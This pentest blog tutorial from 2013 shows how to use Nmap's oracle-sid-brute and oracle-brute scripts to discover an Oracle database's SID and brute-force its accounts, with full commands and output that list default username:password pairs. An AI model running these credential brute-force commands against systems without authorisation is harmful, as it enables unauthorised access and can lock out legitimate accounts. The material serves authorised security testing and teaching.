Discovering Oracle Accounts With Nmap

pentestlab.blog/category/information-gathering

March 10, 2013

If we are conducting an infrastructure penetration test and we have discover an Oracle database during the information gathering stage then we can use Nmap to perform some checks that will help us to obtain potentially the accounts that exists on the database. These checks can be executed with two scripts that Nmap contains in his scripting engine.Specifically the scripts that we will need to use are the following:

- oracle-sid-brute
- oracle-brute

Oracle databases are running on port 1521 so in most of the cases we can identify them just by checking if this port is open on our target host.The next step is to use the script oracle-sid-brute which will try to brute force common oracle SID's.The next image is showing the use of this script and that has successfully identified that the SID is XE.

```
root@bt:~# nmap --script oracle-sid-brute 192.168.1.86

Starting Nmap 6.01 ( http://nmap.org ) at 2013-03-09 14:17 EST
Nmap scan report for 192.168.1.86
Host is up (0.00079s latency).
Not shown: 996 closed ports
PORT     STATE SERVICE
22/tcp   open  ssh
111/tcp  open  rpcbind
1521/tcp open  oracle
| oracle-sid-brute:
|_  XE
6000/tcp open  X11
MAC Address: 00:50:56:BB:00:75 (VMware)

Nmap done: 1 IP address (1 host up) scanned in 2.99 seconds
```

Brute Forcing Oracle SID's – Nmap

Now that we know the SID of the Oracle database we can use the oracle-brute script to discover the valid accounts.by specifying the SID name

```
root@bt:~# nmap --script oracle-brute -p 1521 --script-args oracle-brute.sid=XE
192.168.1.86

Starting Nmap 6.01 ( http://nmap.org ) at 2013-03-09 14:16 EST
Nmap scan report for 192.168.1.86
Host is up (0.00062s latency).
PORT     STATE SERVICE
1521/tcp open  oracle
| oracle-brute:
|   Accounts
|     CTXSYS:CHANGE_ON_INSTALL - Account is locked
|     DBSNMP:DBSNMP - Account is locked
|     DIP:DIP - Account is locked
|     HR:HR - Account is locked
|     MDSYS:MDSYS - Account is locked
|     OUTLN:OUTLN - Account is locked
|     XDB:CHANGE_ON_INSTALL - Account is locked
|   Statistics
|_    Performed 695 guesses in 2 seconds, average tps: 347
MAC Address: 00:50:56:BB:00:75 (VMware)

Nmap done: 1 IP address (1 host up) scanned in 2.48 seconds
```

Discovering Oracle Accounts

Conclusion

With these two scripts we can perform security audits against an Oracle database with Nmap.However the drawback as the above image indicates is that we can lock the accounts as the script doesn't have a check about the number of tries that will execute in order to prevent the account lockout.From the other hand it is a very fast approach for detecting oracle accounts through Nmap during the information gathering.